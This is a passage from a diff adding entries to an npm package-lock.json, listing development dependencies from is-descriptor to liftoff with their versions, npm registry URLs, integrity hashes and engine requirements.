"node_modules/is-descriptor/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-negated-glob": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-negated-glob/-/is-negated-glob-1.0.0.tgz", + "integrity": "sha512-czXVVn/QEmgvej1f50BZ648vUI+em0xqMq2Sn+QncCLN4zj1UAxlT+kw/6ggQTOaZPd1HqKQGEqbpQVtJucWug==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-cwd": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", + "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dev": true, + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true + }, + "node_modules/is-relative": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz", + "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==", + "dev": true, + "dependencies": { + "is-unc-path": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==", + "dev": true + }, + "node_modules/is-unc-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz", + "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==", + "dev": true, + "dependencies": { + "unc-path-regex": "^0.1.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-utf8": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", + "integrity": "sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q==", + "dev": true + }, + "node_modules/is-valid-glob": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-valid-glob/-/is-valid-glob-1.0.0.tgz", + "integrity": "sha512-AhiROmoEFDSsjx8hW+5sGwgKVIORcXnrlAx/R0ZSeaPw70Vw0CqkGBBhHGL58Uox2eXnU1AnvXJl1XlyedO5bA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-windows": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", + "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", + "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-hook": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-hook/-/istanbul-lib-hook-3.0.0.tgz", + "integrity": "sha512-Pt/uge1Q9s+5VAZ+pCo16TYMWPBIl+oaNIjgLQxcX0itS6ueeaA+pEfThZpH8WxhFgCiEb8sAJY6MdUKgiIWaQ==", + "dev": true, + "dependencies": { + "append-transform": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-instrument": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz", + "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==", + "dev": true, + "dependencies": { + "@babel/core": "^7.7.5", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.0.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-processinfo": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-2.0.3.tgz", + "integrity": "sha512-NkwHbo3E00oybX6NGJi6ar0B29vxyvNwoC7eJ4G4Yq28UfY758Hgn/heV8VRFhevPED4LXfFz0DQ8z/0kw9zMg==", + "dev": true, + "dependencies": { + "archy": "^1.0.0", + "cross-spawn": "^7.0.3", + "istanbul-lib-coverage": "^3.2.0", + "p-map": "^3.0.0", + "rimraf": "^3.0.0", + "uuid": "^8.3.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-processinfo/node_modules/p-map": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz", + "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==", + "dev": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", + "dev": true, + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^3.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "dev": true, + "dependencies": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.5.tgz", + "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==", + "dev": true, + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "dev": true, + "peer": true, + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/jiti": { + "version": "1.19.1", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.19.1.tgz", + "integrity": "sha512-oVhqoRDaBXf7sjkll95LHVS6Myyyb1zaunVwk4Z0+WPSW4gjS0pl01zYKHScTuyEhQsFxV5L4DR5r+YqSyqyyg==", + "dev": true, + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/js2xmlparser": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz", + "integrity": "sha512-6n4D8gLlLf1n5mNLQPRfViYzu9RATblzPEtm1SthMX1Pjao0r9YI9nw7ZIfRxQMERS87mcswrg+r/OYrPRX6jA==", + "dev": true, + "dependencies": { + "xmlcreate": "^2.0.4" + } + }, + "node_modules/jsdoc": { + "version": "3.6.7", + "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-3.6.7.tgz", + "integrity": "sha512-sxKt7h0vzCd+3Y81Ey2qinupL6DpRSZJclS04ugHDNmRUXGzqicMJ6iwayhSA0S0DwwX30c5ozyUthr1QKF6uw==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.9.4", + "bluebird": "^3.7.2", + "catharsis": "^0.9.0", + "escape-string-regexp": "^2.0.0", + "js2xmlparser": "^4.0.1", + "klaw": "^3.0.0", + "markdown-it": "^10.0.0", + "markdown-it-anchor": "^5.2.7", + "marked": "^2.0.3", + "mkdirp": "^1.0.4", + "requizzle": "^0.2.3", + "strip-json-comments": "^3.1.0", + "taffydb": "2.6.2", + "underscore": "~1.13.1" + }, + "bin": { + "jsdoc": "jsdoc.js" + }, + "engines": { + "node": ">=8.15.0" + } + }, + "node_modules/jsdoc/node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jsdom": { + "version": "18.0.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-18.0.0.tgz", + "integrity": "sha512-HVLuBcFmwdWulStv5U+J59b1AyzXhM92KXlM8HQ3ecYtRM2OQEUCPMa4oNuDeCBmtRcC7tJvb0Xz5OeFXMOKTA==", + "dev": true, + "dependencies": { + "abab": "^2.0.5", + "acorn": "^8.5.0", + "acorn-globals": "^6.0.0", + "cssom": "^0.5.0", + "cssstyle": "^2.3.0", + "data-urls": "^3.0.1", + "decimal.js": "^10.3.1", + "domexception": "^4.0.0", + "escodegen": "^2.0.0", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^3.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^2.0.0", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^10.0.0", + "ws": "^8.2.3", + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsdom-global": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/jsdom-global/-/jsdom-global-3.0.2.tgz", + "integrity": "sha512-t1KMcBkz/pT5JrvcJbpUR2u/w1kO9jXctaaGJ0vZDzwFnIvGWw9IDSRciT83kIs8Bnw4qpOl8bQK08V01YgMPg==", + "dev": true, + "peerDependencies": { + "jsdom": ">=10.0.0" + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true, + "peer": true + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonfile/node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/jsonminify": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/jsonminify/-/jsonminify-0.2.3.tgz", + "integrity": "sha512-xCKqFKtH9nCPqm2Uisk7GlgYMkk4FQ7rHosMcIoSBAP8KkpW8/9ditjDXCcTuIEIiyq9WR97G+9i60fhW7ibUA==", + "dev": true, + "engines": { + "node": ">=0.8.0", + "npm": ">=1.1.0" + } + }, + "node_modules/just-debounce": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/just-debounce/-/just-debounce-1.1.0.tgz", + "integrity": "sha512-qpcRocdkUmf+UTNBYx5w6dexX5J31AKK1OmPwH630a83DdVVUIngk55RSAiIGpQyoH0dlr872VHfPjnQnK1qDQ==", + "dev": true + }, + "node_modules/just-extend": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz", + "integrity": "sha512-g3UB796vUFIY90VIv/WX3L2c8CS2MdWUww3CNrYmqza1Fg0DURc2K/O4YrnklBdQarSJ/y8JnJYDGc+1iumQjg==", + "dev": true + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/klaw": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/klaw/-/klaw-3.0.0.tgz", + "integrity": "sha512-0Fo5oir+O9jnXu5EefYbVK+mHMBeEVEy2cmctR1O1NECcCkPRreJKrS6Qt/j3KC2C148Dfo9i3pCmCMsdqGr0g==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.9" + } + }, + "node_modules/kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/last-run": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/last-run/-/last-run-1.1.1.tgz", + "integrity": "sha512-U/VxvpX4N/rFvPzr3qG5EtLKEnNI0emvIQB3/ecEwv+8GHaUKbIB8vxv1Oai5FAF0d0r7LXHhLLe5K/yChm5GQ==", + "dev": true, + "dependencies": { + "default-resolution": "^2.0.0", + "es6-weak-map": "^2.0.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "dev": true, + "dependencies": { + "readable-stream": "^2.0.5" + }, + "engines": { + "node": ">= 0.6.3" + } + }, + "node_modules/lcid": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", + "integrity": "sha512-YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==", + "dev": true, + "dependencies": { + "invert-kv": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/lead": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz", + "integrity": "sha512-IpSVCk9AYvLHo5ctcIXxOBpMWUe+4TKN3VPWAKUbJikkmsGp0VrSM8IttVc32D6J4WUsiPE6aEFRNmIoF/gdow==", + "dev": true, + "dependencies": { + "flush-write-stream": "^1.0.2" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/liftoff": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/liftoff/-/liftoff-3.1.0.tgz", + "integrity": "sha512-DlIPlJUkCV0Ips2zf2pJP0unEoT1kwYhiiPUGF3s/jtxTCjziNLoiVVh+jqWOWeFi6mmwQ5fNxvAUyPad4Dfog==", + "dev": true, + "dependencies": { + "extend": "^3.0.0", + "findup-sync": "^3.0.0", + "fined": "^1.0.1", + "flagged-respawn": "^1.0.0", + "is-plain-object": "^2.0.4", + "object.map": "^1.0.0", + "rechoir": "^0.6.2", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/liftoff/node_modules/define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/liftoff/node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/liftoff/node_modules/findup-sync": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz", + "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==", + "dev": true, + "dependencies": { + "detect-file": "^1.0.0", + "is-glob": "^4.0.0", + "micromatch": "^3.0.4", + "resolve-dir": "^1.0.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/liftoff/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + 